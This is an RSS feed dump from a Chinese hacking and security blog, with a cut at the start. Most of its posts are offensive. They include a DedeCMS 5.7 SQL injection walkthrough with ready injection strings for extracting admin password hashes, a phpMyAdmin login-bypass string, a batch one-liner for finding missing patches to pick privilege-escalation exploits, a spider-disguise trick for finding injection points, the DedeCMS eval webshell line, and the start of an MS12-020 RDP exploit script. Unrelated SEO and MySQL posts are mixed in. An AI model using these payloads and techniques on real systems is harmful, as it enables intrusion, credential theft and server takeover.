/>&hellip;..(继续接如下代码)<br />}<br />}<br />$clean .= substr($db_string, $old_pos);<br />$clean = trim(strtolower(preg_replace(array('~\s+~s' ), array(' '), $clean)));<br />//④&quot;\s&quot;匹配任何空白字符，包括空格、制表符、换页符等，$clean转为小写<br />//⑤再次检查union关键字<br />if (strpos($clean, 'union') !== FALSE &amp;&amp; preg_match('~(^|[^a-z])union($|[^[a-z])~s', $clean) != 0)<br />{<br />$fail = TRUE;<br />$error=&quot;union detect&quot;;<br />}</span></p><p><span style="color: #008080"><br />//⑥依次检查--、#、benchmark、load_file、outfile、select等关键字<br />elseif (strpos($clean, '/*') &gt; 2 || strpos($clean, '--') !== FALSE || strpos($clean, '#') !== FALSE)<br />{...(略) }<br />//这些函数不会被使用，但是黑客会用它来操作文件，down掉数据库<br />elseif (strpos($clean, 'sleep') !== FALSE &amp;&amp; preg_match('~(^|[^a-z])sleep($|[^[a-z])~s', $clean) != 0)<br />...(略)<br />//老版本的MYSQL不支持子查询，我们的程序里可能也用得少，但是黑客可以使用它来查询数据库敏感信息<br />elseif (preg_match('~\([^)]*?select~s', $clean) != 0)<br />{...(略)}<br />if (!empty($fail))<br />{//存在限制的Sql关键字，写日志文件$log_file，输出&ldquo;Safe Alert: Request Error step 2!&rdquo;<br />fputs(fopen($log_file,'a+'),&quot;$userIP||$getUrl||$db_string||$error\r\n&quot;);<br />exit(&quot;&lt;font size='5' color='red'&gt;Safe Alert: Request Error step 2!&lt;/font&gt;&quot;);<br />}<br />else<br />{//⑦不存在限制的Sql关键字，返回$db_string字符串<br />return $db_string;<br />}</span></p><p><span style="color: #008080"><br />语句①使用正则表达式过滤Sql关键字，但是因为没有参数&ldquo;i&rdquo;，导致可以使用大写绕过，比如&ldquo;Union&rdquo;等，While循环实现将字符串（Sql语句）中转义单引号之间的字符转为&ldquo;$s$&rdquo;，不予检查，此举意图是信任转义单引号之间的字符，即允许提交包含Sql关键字的文字，比如发表新文章的内容，但是也因此产生了安全漏洞。<br />漏洞利用。构造membergroup变量值为` Union select pwd from ` where 1 or `&rdquo;，注意：1）&ldquo;Union&rdquo;不能全为小写&ldquo;union&rdquo;，2）前后使用`&rdquo;。当变量提交后，Sql语句成为&ldquo;SELECT groupname FROM WHERE mid = 8 AND ` Union select pwd from ` where 1 or `&rdquo;，mid为当前用户id，首先大写Union绕过防注入语句①，然后防注入会将&ldquo;\'&rdquo;之间的字符串认为可信任的，对于其中的字符串不再做防注入过滤，尽管其中含有&ldquo;union、select&rdquo;等关键字！在CheckSql()函数中添加输出语句如下，可以直观地看到转换前后的Sql语句以及注入结果如图1。&hellip;(略)<br />echo &quot;原字符串：&quot;.$db_string.&quot;&lt;br&gt;&quot;;<br />//完整的SQL检查<br />while (TRUE)<br />{<br />&hellip;(略)<br />}<br />$clean .= substr($db_string, $old_pos);<br />$clean = trim(strtolower(preg_replace(array('~\s+~s' ), array(' '), $clean)));<br />echo &quot;转换以后：&quot;.$clean.&quot;&lt;br&gt;&quot;;<br />&hellip;(略</span></p><p><img height="330" alt="DeDeCMS v5.7最新ajax_membergroup.php注入漏洞" width="580" src="http://www.si1ence.cn/upload/dedev5.7.jpg" /><br /><span style="color: #008080">这里注出的是substr(md5($this-&gt;userPwd), 5, 20)值，我们可以去掉前三位和最后一位，成为16位MD5码，如&ldquo;7a57a5a743894a0e&rdquo;，再进行爆破。常用的注入链接如下：</span></p><p><span style="color: #008080"><br />注入管理员密码：<br />` Union select pwd from ` where 1 or `<br />//如果存在多个管理员时，可以将where条件改为&ldquo;id=1 or `&rdquo;或&ldquo;userid=0x61646D696E or `&rdquo;<br />注入$cfg_cookie_encode<br />` Union select value from ` where aid=3 or `<br />//在获得$cfg_cookie_encode后，我们可以直接利用漏洞二。另外在&ldquo;/data/'.md5($cfg_cookie_encode).'_safe.txt'&rdquo;文件中记录着注入痕迹。</span></p><p><span style="color: #008080"><br />漏洞修补<br />目前官方没有升级包，简单的防止注入修补方法可以将ajax_membergroup.php页面删除，或者给CheckSql()自定义函数中的preg_match函数增加&ldquo;i&rdquo;参数，防止上传的方法可以过滤&ldquo;/include/dialog/select_soft_post.php&rdquo;文件中的变量$newname，限制其以字符&ldquo;.&rdquo;、&ldquo;?&rdquo;以及空格等字符结束等。</span></p><p>&nbsp;</p>]]></description><category>网络安全</category><comments>http://www.si1ence.cn/wangluoanquan/398/#comment</comments><wfw:comment>http://www.si1ence.cn/</wfw:comment><wfw:commentRss>http://www.si1ence.cn/feed.asp?cmt=398</wfw:commentRss><trackback:ping>http://www.si1ence.cn/cmd.asp?act=tb&amp;id=398&amp;key=c0058549</trackback:ping></item><item><title>本地搭建爬行蜘蛛找注入点</title><author>a@b.com (admin)</author><link>http://www.si1ence.cn/wangluoanquan/397/</link><pubDate>Sat, 21 Apr 2012 00:24:14 +0800</pubDate><guid>http://www.si1ence.cn/wangluoanquan/397/</guid><description><![CDATA[<p><span style="color: #008080">一般的注入点像我这种菜鸟都会用以下方式<br />1：手工测试下<br />2：用明小子或者阿D直接浏览页面找注入点<br />3：通过搜索引擎site:xxx.com inurl:php or asp 之类的<br />4：safe3 jsky之类的工具抓取连接后工具自动判断~~~<br />方式1缺点：只能测试部分页面拉，看运气如何，可能会漏掉<br />方式2缺点：基本和第一个的缺点差不多，不全面，只能浏览部分页面<br />方式3缺点：搜索引擎也不可能完全收录站点的所有页面，有些站甚至还没收录<br />方式4缺点：所说是模拟抓取页面链接，再检测，但也会很快的结束，爬不完全站，有些站点还限制了这类软件爬行<br />&nbsp;<br />今天给的思路是：<br />方案1：<br />1：自己本地架设个搜索引擎，蜘蛛的名字命名为&ldquo;Baiduspider&rdquo;（这样可以规避不少限制，也难被管理发现），<br />2：然后抓取目标站所需要的页面链接，如收录包含php？asp?这类页面的，避免收录html,htm<br />3：阿D浏览 本地 site:xxx.com<br />注入点就源源不断的出来拉~~~~<br />用此方法，上次成功拿到 世纪佳缘 点几个<br />用到的工具1：本地php+mysql环境，这个自己下吧~~到处有~~<br />用到的工具2：蜘蛛系统： 蜘蛛系统开源版本.rar (5.01 MB)可以去百度<br />方案2：<br />原理差不多，没上面那个好~~~因为无法设置规避页面~~~<br />1：一款sitemap制作工具，模拟爬行全站，生成sitemap.html<br />2:本地搭建web环境，访问127.0.0.1/sitemap.html<br />3：阿D检测sitemap上的所有链接~~~<br />用到的工具1：本地asp环境，这个自己下个netbox吧<br />用到的工具2： 无限制的SiteMap制作工具.zip (407.24 KB)<br />有人找不到蜘蛛系统帐号密码哈~~~~登录密码和使用说明注意压缩包内文本~~蜘蛛的登录密码和后台的登录是一样的~~</span></p><p><span style="color: #008080">转自泪少</span></p>]]></description><category>网络安全</category><comments>http://www.si1ence.cn/wangluoanquan/397/#comment</comments><wfw:comment>http://www.si1ence.cn/</wfw:comment><wfw:commentRss>http://www.si1ence.cn/feed.asp?cmt=397</wfw:commentRss><trackback:ping>http://www.si1ence.cn/cmd.asp?act=tb&amp;id=397&amp;key=7ccde24c</trackback:ping></item><item><title>SEO中网站逻辑结构的优化</title><author>silencezq@gmail.com (si1ence)</author><link>http://www.si1ence.cn/SEO/394/</link><pubDate>Fri, 13 Apr 2012 14:52:51 +0800</pubDate><guid>http://www.si1ence.cn/SEO/394/</guid><description><![CDATA[<p><span style="color: #008080">　　<strong>网站逻辑结构</strong>就是网站的链接结构，就是网站页面的内部链接形成的一个结构，网站的逻辑结构做的好不仅可以引导搜索引擎抓取网站的更多页面，还可以更好的传递权重。减少蜘蛛爬行的深度，更好的引导。<br />　　<br />　　<strong>网站逻辑结构</strong>优化中要注意的是：频道主页一般不链接向其他频道的内容页面，如果这些频道是不同的产品的话，如果相关产品还是可以的。内容页一般不链接向其他频道的内容页，和上面道理相同。<br />　　<br />　　导航不要用图片，尽量加入关键字，但也要注重用户体验，不要为了加关键词把导航搞得四不像。避免关键词的堆砌。做好网站地图或XML地图。只用301跳转来传递<a target="_blank" href="http://www.si1ence.cn/zatan/385/">权重</a>，不要大量使用程序来实现跳转，会被降权的。分页不要用js，css也可以写出漂亮的分页。<br />　　<br />　　</span></p>]]></description><category>武汉SEO</category><comments>http://www.si1ence.cn/SEO/394/#comment</comments><wfw:comment>http://www.si1ence.cn/</wfw:comment><wfw:commentRss>http://www.si1ence.cn/feed.asp?cmt=394</wfw:commentRss><trackback:ping>http://www.si1ence.cn/cmd.asp?act=tb&amp;id=394&amp;key=6ba18743</trackback:ping></item><item><title>mysql 4升级到5后出现乱码问题解决心得</title><author>a@b.com (admin)</author><link>http://www.si1ence.cn/wangluoanquan/393/</link><pubDate>Fri, 13 Apr 2012 12:46:28 +0800</pubDate><guid>http://www.si1ence.cn/wangluoanquan/393/</guid><description><![CDATA[<p><span style="color: #008080">由于mysql 4和5默认的编码不一致，以前好几次遇到这样的问题，都因为不知到如何解决最终放弃mysql的升级。这次有个安装了WebCL平台的客户不得不升级，只好横下一条心摸索出解决办法。忙了一下午后，终于摸索出了一个比较圆满的解决方案：<br />　　<br />　　1. 将原属于mysql 4的数据库文件夹拷贝到mysql 5的data目录下，并重命名（如将webcldb改成webcldb1），进入mysql 5的bin目录，通过mysqldump命令导入原来数据库的数据结构，如：mysqldump -u root -p -d --opt webcldb1 &gt; d:/webcldb_s.sql。其中参数-d表示只创建数据表结构，不生成插入记录的insert语句。导完后，用文本编辑器打开webcldb_s.sql文件，每个create table语句后面指定了表格的编码是latin1，将所有的&ldquo;latin1&rdquo;替换成&ldquo;GBK&rdquo;。<br />　　<br />　　2. 再用mysqldump命令导入原来数据库的数据，如：mysqldump -u root -p -n -t --compatible=mysql40 --opt webcldb1 &gt; d:/webcldb_d.sql。其中，参数-n -t表示不生成创建数据库和数据表结构的语句，只生成插入记录的insert语句；参数--compatible=mysql40 可以保证导出的insert语句中中文不是乱码。导出后，确认webcldb_d.sql文件中的中文正常。（之所以将数据库结构和数据导出分开，是为了方便将数据库结构导出文件中的&ldquo;latin1&rdquo;替换成&ldquo;GBK&rdquo;，如果结构和数据在一个文件中，该文件会很大，替换效率会很慢甚至无法替换）。<br />　　<br />　　3. 进入mysql 5的mysql命令，创建一个新的数据库，并指定数据库的默认编码是GBK，命令如下：CREATE DATABASE WEBCL2DB DEFAULT CHARACTER SET GBK。<br />　　<br />　　4. 然后进入新创建的数据库，导入数据库结构和数据，如：source e:/webcldb_s.sql和source e:/webcldb_d.sql。（这个步骤我原来计划用mysqldump导入命令，但不知道是数据库原有的数据格式还是其他什么问题，尝试了多次都失败，后来才改用了source命令）。<br />　　<br />　　这样顺利将原来的数据库从mysql 4.0系统升级导了mysql 5.0系统中，如果确认无误，原来重命名后的数据库文件夹就可以删除了。 </span></p><p><span style="color: #008080">转自互联网</span></p>]]></description><category>网络安全</category><comments>http://www.si1ence.cn/wangluoanquan/393/#comment</comments><wfw:comment>http://www.si1ence.cn/</wfw:comment><wfw:commentRss>http://www.si1ence.cn/feed.asp?cmt=393</wfw:commentRss><trackback:ping>http://www.si1ence.cn/cmd.asp?act=tb&amp;id=393&amp;key=9328c62b</trackback:ping></item><item><title>本地提权漏洞对应的补丁序列号</title><author>silencezq@gmail.com (si1ence)</author><link>http://www.si1ence.cn/wangluoanquan/392/</link><pubDate>Thu, 12 Apr 2012 22:57:47 +0800</pubDate><guid>http://www.si1ence.cn/wangluoanquan/392/</guid><description><![CDATA[<p><span class="Apple-style-span" style="word-spacing: 0px; font: 16px 'Microsoft YaHei', 微软雅黑, Tahoma, Verdana; text-transform: none; color: rgb(0,0,0); text-indent: 0px; white-space: normal; letter-spacing: normal; orphans: 2; widows: 2; webkit-text-decorations-in-effect: none; webkit-text-size-adjust: auto; webkit-text-stroke-width: 0px"><p style="text-indent: 2em"><span style="color: #008080">提权的时候我们会用到systeminfo命令，看下服务器打了哪些补丁，然后根据这些信息来找到相应的提权应用程序，哈哈。一些本地提权漏洞，对应的补丁序列号，提权的时候会用到，先看看打没打补丁，再决定用哪个。</span></p><p><blockquote dir="ltr"><span style="color: #008080">KB2360937 MS10-084<br />KB2478960 MS11-014<br />KB2507938 MS11-056<br />KB2566454 MS11-062<br />KB2646524 MS12-003<br />KB2645640 MS12-009<br />KB2641653 MS12-018<br />KB944653 MS07-067<br />KB952004 MS09-012<br />KB971657 MS09-041<br />KB2620712 MS11-097<br />KB2393802 MS11-011<br />kb942831 MS08-005<br />KB2503665 MS11-046<br />KB2592799 MS11-080</span></blockquote><p style="text-indent: 2em"><span style="color: #008080">闲的蛋疼的，写个批处理，就可以完美的自动检测、自动提权了。</span></p><hr /><p><span style="color: #008080"><strong>2012-4-1 16:16:29 补充：</strong></span></p><p style="text-indent: 2em"><span style="color: #008080">自动检测补丁的CMD命令，命令比较简单，就不解释了，由于只有一行，所以直接复制到cmd中就可以执行了，不需要保存为批处理文件&hellip;&hellip;</span></p><p style="text-indent: 2em">你可以把&ldquo;<span style="color: rgb(229,51,51)">@echo %i Not Installed!</span>&rdquo; 换成 &ldquo;<span style="color: rgb(229,51,51)">%i.exe Parameters</span>&ldquo;，就可以自动提权了&hellip;&hellip;</p><pre class="prettyprint" style="border-right: rgb(136,136,136) 0px solid; padding-right: 0.5em; border-top: rgb(136,136,136) 0px solid; display: block; padding-left: 0.5em; font-size: 14px; padding-bottom: 0.5em; margin: 1em 0px; border-left: rgb(204,204,204) 3px solid; padding-top: 0.5em; border-bottom: rgb(136,136,136) 0px solid; font-family: Fixedsys; white-space: pre"><span class="pln" style="color: rgb(0,0,0)">systeminfo</span><span class="pun" style="color: rgb(102,102,0)">&gt;</span><span class="pln" style="color: rgb(0,0,0)">a</span><span class="pun" style="color: rgb(102,102,0)">.</span><span class="pln" style="color: rgb(0,0,0)">txt</span><span class="pun" style="color: rgb(102,102,0)">&amp;(</span><span class="kwd" style="color: rgb(0,0,136)">for</span><span class="pln" style="color: rgb(0,0,0)"> </span><span class="pun" style="color: rgb(102,102,0)">%</span><span class="pln" style="color: rgb(0,0,0)">i </span><span class="kwd" style="color: rgb(0,0,136)">in</span><span class="pln" style="color: rgb(0,0,0)"> </span><span class="pun" style="color: rgb(102,102,0)">(</span><span class="pln" style="color: rgb(0,0,0)">KB2360937 KB2478960 KB2507938 KB2566454 KB2646524 KB2645640 KB2641653 KB944653 KB952004 KB971657 KB2620712 KB2393802 kb942831 KB2503665 KB2592799</span><span class="pun" style="color: rgb(102,102,0)">)</span><span class="pln" style="color: rgb(0,0,0)"> </span><span class="kwd" style="color: rgb(0,0,136)">do</span><span class="pln" style="color: rgb(0,0,0)"> </span><span class="lit" style="color: rgb(0,102,102)">@type</span><span class="pln" style="color: rgb(0,0,0)"> a</span><span class="pun" style="color: rgb(102,102,0)">.</span><span class="pln" style="color: rgb(0,0,0)">txt</span><span class="pun" style="color: rgb(102,102,0)">|</span><span class="lit" style="color: rgb(0,102,102)">@find</span><span class="pln" style="color: rgb(0,0,0)"> </span><span class="pun" style="color: rgb(102,102,0)">/</span><span class="pln" style="color: rgb(0,0,0)">i </span><span class="str" style="color: rgb(0,136,0)">&quot;%i&quot;</span><span class="pun" style="color: rgb(102,102,0)">||</span><span class="lit" style="color: rgb(0,102,102)">@echo</span><span class="pln" style="color: rgb(0,0,0)"> </span><span class="pun" style="color: rgb(102,102,0)">%</span><span class="pln" style="color: rgb(0,0,0)">i </span><span class="typ" style="color: rgb(102,0,102)">Not</span><span class="pln" style="color: rgb(0,0,0)"> </span><span class="typ" style="color: rgb(102,0,102)">Installed</span><span class="pun" style="color: rgb(102,102,0)">!)&amp;</span><span class="kwd" style="color: rgb(0,0,136)">del</span><span class="pln" style="color: rgb(0,0,0)"> </span><span class="pun" style="color: rgb(102,102,0)">/</span><span class="pln" style="color: rgb(0,0,0)">f </span><span class="pun" style="color: rgb(102,102,0)">/</span><span class="pln" style="color: rgb(0,0,0)">q </span><span class="pun" style="color: rgb(102,102,0)">/</span><span class="pln" style="color: rgb(0,0,0)">a a</span><span class="pun" style="color: rgb(102,102,0)">.</span><span class="pln" style="color: rgb(0,0,0)">txt</span></pre></p></span></p><p>&nbsp;</p><p>来自lcx</p>]]></description><category>网络安全</category><comments>http://www.si1ence.cn/wangluoanquan/392/#comment</comments><wfw:comment>http://www.si1ence.cn/</wfw:comment><wfw:commentRss>http://www.si1ence.cn/feed.asp?cmt=392</wfw:commentRss><trackback:ping>http://www.si1ence.cn/cmd.asp?act=tb&amp;id=392&amp;key=e3139966</trackback:ping></item><item><title>PHPmyadmin 万能密码漏洞提权</title><author>a@b.com (admin)</author><link>http://www.si1ence.cn/wangluoanquan/395/</link><pubDate>Wed, 11 Apr 2012 21:38:17 +0800</pubDate><guid>http://www.si1ence.cn/wangluoanquan/395/</guid><description><![CDATA[<p><span style="color: #008080">影响版本：PHPmyadmin 2.11.3&nbsp;&nbsp; PHPmyadmin 2.11.4</span></p><p><span style="color: #008080">两个版本都有此漏洞</span></p><p><span style="color: #008080">只需要输入账号&nbsp; 密码不需要输入</span></p><p><span style="color: #008080">利用代码如下：&lsquo;localhost&rsquo;@'@&rdquo;</span></p><p><span style="color: #008080">健忘，记下来。完全标题党</span></p>]]></description><category>网络安全</category><comments>http://www.si1ence.cn/wangluoanquan/395/#comment</comments><wfw:comment>http://www.si1ence.cn/</wfw:comment><wfw:commentRss>http://www.si1ence.cn/feed.asp?cmt=395</wfw:commentRss><trackback:ping>http://www.si1ence.cn/cmd.asp?act=tb&amp;id=395&amp;key=4134ad1b</trackback:ping></item><item><title>关闭当前安全设置会使计算机有风险</title><author>a@b.com (admin)</author><link>http://www.si1ence.cn/diannaojishu/391/</link><pubDate>Mon, 09 Apr 2012 10:30:33 +0800</pubDate><guid>http://www.si1ence.cn/diannaojishu/391/</guid><description><![CDATA[<p><span style="color: #008080">关闭IE8当前安全设置会使计算机有风险提示<br />IE8的安全提示，如使用工行网银就会提示&ldquo;<strong>当前安全设置使计算机有风险</strong>。请单击这里更改安全设置&hellip;&hellip;&rdquo; 下面介绍关闭此提示的步骤：<br /><br />1.点击 开始&rarr;运行&rarr;输入gpedit.msc 打开组策略编辑器。<br /><br />2.依次点击 计算机配置&rarr;管理模板&rarr;Windows组件&rarr;Internet Explorer 在右边找到&ldquo;关闭安全设置检查功能&rdquo;。<br /><br />3.双击&ldquo;关闭安全设置检查功能&rdquo;进行设置，选择&ldquo;已启用&rdquo;单击确定。 关闭所有的IE窗口，重新运行就不会再显示&ldquo;<strong>当前安全设置会使计算机有风险</strong>提示&hellip;&hellip;&rdquo;的提示了。</span><!--++ plugin_code qcomic begin--></p>]]></description><category>电脑技术</category><comments>http://www.si1ence.cn/diannaojishu/391/#comment</comments><wfw:comment>http://www.si1ence.cn/</wfw:comment><wfw:commentRss>http://www.si1ence.cn/feed.asp?cmt=391</wfw:commentRss><trackback:ping>http://www.si1ence.cn/cmd.asp?act=tb&amp;id=391&amp;key=5e6fc00b</trackback:ping></item><item><title>dedecms5.7 一句话后门漏洞exp</title><author>a@b.com (admin)</author><link>http://www.si1ence.cn/wangluoanquan/390/</link><pubDate>Thu, 22 Mar 2012 20:03:46 +0800</pubDate><guid>http://www.si1ence.cn/wangluoanquan/390/</guid><description><![CDATA[<p><span style="color: #008080">dedecms5.7 一句话后门漏洞利用exp</span></p><p><span style="color: #008080">author：舞林&nbsp; cnsec.org</span></p><p><span style="color: #008080">shopcar.class.php被植入一句话</span></p><p><span style="color: #008080">简要描述：DedeCMS V5.7 SP1正式版</span></p><p><span style="color: #008080">UTF-8 GBK版本疑似被植入一句话后门</span></p><p><span style="color: #008080">前几日下载并不存在此代码</span></p><p><span style="color: #008080">shopcar.class.php被植入一句话</span></p><p><span style="color: #008080">@eval(file_get_contents('php://input'));</span></p><p><span style="color: #008080">详细说明：shopcar.class.php被植入一句话@eval(file_get_contents('php://input'));</span></p><p><span style="color: #008080">漏洞证明：shopcar.class.php被植入一句话@eval(file_get_contents('php://input'));</span></p><p><span style="color: #008080">修复方案：删除@eval(file_get_contents('php://input'));</span></p>]]></description><category>网络安全</category><comments>http://www.si1ence.cn/wangluoanquan/390/#comment</comments><wfw:comment>http://www.si1ence.cn/</wfw:comment><wfw:commentRss>http://www.si1ence.cn/feed.asp?cmt=390</wfw:commentRss><trackback:ping>http://www.si1ence.cn/cmd.asp?act=tb&amp;id=390&amp;key=00cdb0cd</trackback:ping></item><item><title>ms12-20 3389溢出漏洞MS12-20补丁</title><author>silencezq@gmail.com (si1ence)</author><link>http://www.si1ence.cn/wangluoanquan/389/</link><pubDate>Tue, 20 Mar 2012 17:58:11 +0800</pubDate><guid>http://www.si1ence.cn/wangluoanquan/389/</guid><description><![CDATA[<p><span style="color: #008080">漏洞介绍：<br />http://technet.microsoft.com/zh-cn/security/bulletin/MS12-020</span></p><p><span style="color: #008080">已用exp亲测受影响系统版本有：<br />2003 中文企业版SP2<br />2003 SP1 也受此影响，但官方出的补丁基于SP2，需要先升级SP2才可运行此补丁。</span></p><p><span style="color: #008080">请用迅雷下载</span></p><p><span style="color: #008080">2003 SP2 补丁包<br />http://download.microsoft.com/download/5/9/7/5976b101-a6bd-41c8-b39f-bb8e39ff1444/WindowsServer2003-KB914961-SP2-x86-CHS.exe</span></p><p><span style="color: #008080">2003 3389溢出补丁 KB2621440<br />http://download.microsoft.com/download/3/C/F/3CF10043-CB94-476A-A677-F6FA103CD42D/WindowsServer2003-KB2621440-x86-CHS.exe</span></p><p><span style="color: #008080"><br />其他系统版本补丁<br />http://www.microsoft.com/downloads/zh-cn/results.aspx?freetext=KB2621440</span></p><p><img alt="MS12-20 3389溢出漏洞MS12-20补丁" src="http://www.si1ence.cn/upload/ms12-20buding.jpg" /></p>]]></description><category>网络安全</category><comments>http://www.si1ence.cn/wangluoanquan/389/#comment</comments><wfw:comment>http://www.si1ence.cn/</wfw:comment><wfw:commentRss>http://www.si1ence.cn/feed.asp?cmt=389</wfw:commentRss><trackback:ping>http://www.si1ence.cn/cmd.asp?act=tb&amp;id=389&amp;key=a92fe984</trackback:ping></item><item><title> ms12-20.exe 3889的exp_MS12-20 漏洞利用程序</title><author>silencezq@gmail.com (si1ence)</author><link>http://www.si1ence.cn/wangluoanquan/387/</link><pubDate>Fri, 16 Mar 2012 15:26:42 +0800</pubDate><guid>http://www.si1ence.cn/wangluoanquan/387/</guid><description><![CDATA[<p><span style="color: #008080">从前天&ldquo;<a target="_blank" href="http://www.si1ence.cn/wangluoanquan/386/"><strong>MS12-20</strong></a> 远程桌面(RDP)远程执行代码漏洞&rdquo;出来以来，已经有数个版本的&ldquo;利用程序&rdquo;在网上流传，</span></p><p><span style="color: #008080">有批处理版的、py 版的，这又是一个版本的，以下内容转载于互联网，真实性未测，请自行判断！</span></p><p><span style="color: #008080">貌似是个假的，目测就是那个 <strong>ms12-20 </strong>py，目测和2008年一漏洞的代码极其相似：</span></p><p><span style="color: #008080">http://www.1337day.com/exploits/9303<br /></span></p><p><span style="color: #008080"><img alt="ms 12-20 .exe漏洞利用程序" src="http://www.si1ence.cn/upload/ms12-20.jpg" /></span></p><p><span style="color: #008080">需要安装 FREERDP</span></p><p><span style="color: #008080">这个貌似就是大家苦苦寻找的 <strong>ms12-20.</strong>exp</span></p><p><span style="color: #008080">下载地址：http://115.com/file/anmgwyzh</span></p><p><span style="color: #008080">视频地址：http://good.gd/1975261.htm</span></p><p><span style="color: #008080">FREERDP 模块：https://github.com/FreeRDP/FreeRDP/downloads</span></p><p><span style="color: #008080">转载于Dis9</span></p><p><span style="color: #008080">直接是蓝屏，伤不起啊，<strong>ms12-20</strong>疯狂了。就当娱乐吧，哈哈。</span></p><p><span style="color: #008080">根据大家的测试，多数为直接蓝屏，蓝屏的出现基本可以确定是因为MS11-065补丁的原因。</span></p><p><span style="color: #008080">PoC是根据2011年8月出现的MS11-065补丁以后的rdpwd.sys文件结构而写<br /></span></p><p><span style="color: #008080">微软通过MS11-065修改了rdpwd.sys文件并更新了版本，所以导致没打过MS11-065的机器就出现了蓝屏等症状。</span></p>]]></description><category>网络安全</category><comments>http://www.si1ence.cn/wangluoanquan/387/#comment</comments><wfw:comment>http://www.si1ence.cn/</wfw:comment><wfw:commentRss>http://www.si1ence.cn/feed.asp?cmt=387</wfw:commentRss><trackback:ping>http://www.si1ence.cn/cmd.asp?act=tb&amp;id=387&amp;key=e0a0146c</trackback:ping></item><item><title>ms12-20 远程桌面(RDP)3389漏洞 exp 工具</title><author>silencezq@gmail.com (si1ence)</author><link>http://www.si1ence.cn/wangluoanquan/386/</link><pubDate>Thu, 15 Mar 2012 12:56:58 +0800</pubDate><guid>http://www.si1ence.cn/wangluoanquan/386/</guid><description><![CDATA[<p><span style="color: rgb(0,128,128)">&nbsp;这是一个密报的漏洞，微软肯定是先推送补丁修复了（微软在北京时间2012-03-13号就推送了该补丁），然后才公开的报告。&nbsp;</span></p><div><span style="color: rgb(0,128,128)"><br /></span></div><div><span style="color: rgb(0,128,128)">不然，如果该<b>ms12-20</b>漏洞在地下流传，企业、政府、银行、军队等重要机构的大型服务器将无一幸免，完全沦陷！这会造成极其严重的后果！&nbsp;</span></div><div><span style="color: rgb(0,128,128)"><br /></span></div><div><span style="color: rgb(0,128,128)">（这也是为什么重要机构的大型服务器都根本不使用 Windows 系统，一方面是性能原因，另一方面是安全因素，还有一方面是国家安全与战争因素了，</span></div><div><span style="color: rgb(0,128,128)"><br type="_moz" /></span></div><div><span style="color: rgb(0,128,128)">米国政府的秘密机构手中掌握有大量此类零日漏洞，并且都是未公开的一旦发动战争，这些都是武器，平时则用来窃取敌对国家情报&hellip;&hellip;）&nbsp;</span></div><div><span style="color: rgb(0,128,128)"><br type="_moz" /></span></div><div><span style="color: rgb(0,128,128)"><b>ms12-20</b>&nbsp;远程桌面(RDP)3389漏洞 exp&nbsp;如何检查自己是否已安装更新补丁？&nbsp;</span></div><div><span style="color: rgb(0,128,128)"><br /></span></div><div><span style="color: rgb(0,128,128)">这个漏洞的更新补丁号为：KB2621440，用户可以自行在：控制面板 --&gt; 添加删除程序（记得勾选&ldquo;显示更新&rdquo;</span></div><div><span style="color: rgb(0,128,128)"><br /></span></div><div><span style="color: rgb(0,128,128)">），然后查找该编号，如果有则表示您已安装，可以不必担心了，或者使用命令：&nbsp;</span></div><div><span style="color: rgb(0,128,128)"><br /></span></div><blockquote><div><span style="color: rgb(0,128,128)">systeminfo&nbsp;</span></div></blockquote><div><span style="color: rgb(0,128,128)"><br /></span></div><div><span style="color: rgb(0,128,128)">在显示出来的更新补丁列表中查找该编号，或者干脆使用命令查找，例如：&nbsp;</span></div><div><span style="color: rgb(0,128,128)"><br /></span></div><blockquote><div><span style="color: rgb(0,128,128)">systeminfo|find /i &quot;KB2621440&quot;&nbsp;</span></div></blockquote><div><span style="color: rgb(0,128,128)"><br /></span></div><div><span style="color: rgb(0,128,128)">本人系统的自动更新是开启的，所以在2012年03月13日就自动安装了该补丁，强烈推荐各位开启自动更新并设置</span></div><div><span style="color: rgb(0,128,128)"><br /></span></div><div><span style="color: rgb(0,128,128)">为自动下载并安装！ &nbsp; 转自lcx.cc</span></div><div><span style="color: rgb(0,128,128)"><br type="_moz" /></span></div><div><span style="color: rgb(0,128,128)">这个漏洞估计不会在网上流传开 危害非同小可的，听说有个类似的漏洞，python脚本，估计是坑爹的。乌云上也有恶搞的，唉。</span></div><p>&nbsp;</p><div id="highlighter_514818" class="syntaxhighlighter  python"><div class="lines"><div class="line alt1"><table>    <tbody>        <tr>            <td class="content"><span style="color: rgb(0,128,128)"><code class="python comments">#!/usr/bin/env python </code></span></td>        </tr>    </tbody></table></div><div class="line alt2"><table>    <tbody>        <tr>            <td class="number"><span style="color: rgb(0,128,128)"><code>002</code></span></td>            <td class="content"><span style="color: rgb(0,128,128)"><code class="python comments">############################################################################# </code></span></td>        </tr>    </tbody></table></div><div class="line alt1"><table>    <tbody>        <tr>            <td class="number"><span style="color: rgb(0,128,128)"><code>003</code></span></td>            <td class="content"><span style="color: rgb(0,128,128)"><code class="python comments">#&nbsp;&nbsp; MS12-020 Exploit </code></span></td>        </tr>    </tbody></table></div><div class="line alt2"><table>    <tbody>        <tr>            <td class="number"><span style="color: rgb(0,128,128)"><code>004</code></span></td>            <td class="content"><span style="color: rgb(0,128,128)"><code class="python comments"># </code></span></td>        </tr>    </tbody></table></div><div class="line alt1"><table>    <tbody>        <tr>            <td class="number"><span style="color: rgb(0,128,128)"><code>005</code></span></td>            <td class="content"><span style="color: rgb(0,128,128)"><code class="python comments">#&nbsp;&nbsp; Uses FreeRDP </code></span></td>        </tr>    </tbody></table></div><div class="line alt2"><table>    <tbody>        <tr>            <td class="number"><span style="color: rgb(0,128,128)"><code>006</code></span></td>            <td class="content"><span style="color: rgb(0,128,128)"><code class="python comments">############################################################################# </code></span></td>        </tr>    </tbody></table></div><div class="line alt1"><table>    <tbody>        <tr>            <td class="number"><span style="color: rgb(0,128,128)"><code>007</code></span></td>            <td class="content"><span style="color: rgb(0,128,128)"><code class="python keyword">import</code> <code class="python plain">struct </code></span></td>        </tr>    </tbody></table></div><div class="line alt2"><table>    <tbody>        <tr>            <td class="number"><span style="color: rgb(0,128,128)"><code>008</code></span></td>            <td class="content"><span style="color: rgb(0,128,128)"><code class="python keyword">import</code> <code class="python plain">sys </code></span></td>        </tr>    </tbody></table></div><div class="line alt1"><table>    <tbody>        <tr>            <td class="number"><span style="color: rgb(0,128,128)"><code>009</code></span></td>            <td class="content"><span style="color: rgb(0,128,128)"><code class="python keyword">from</code> <code class="python plain">freerdp </code><code class="python keyword">import</code> <code class="python plain">rdpRdp </code></span></td>        </tr>    </tbody></table></div><div class="line alt2"><table>    <tbody>        <tr>            <td class="number"><span style="color: rgb(0,128,128)"><code>010</code></span></td>            <td class="content"><span style="color: rgb(0,128,128)"><code class="python keyword">from</code> <code class="python plain">freerdp </code><code class="python keyword">import</code> <code class="python 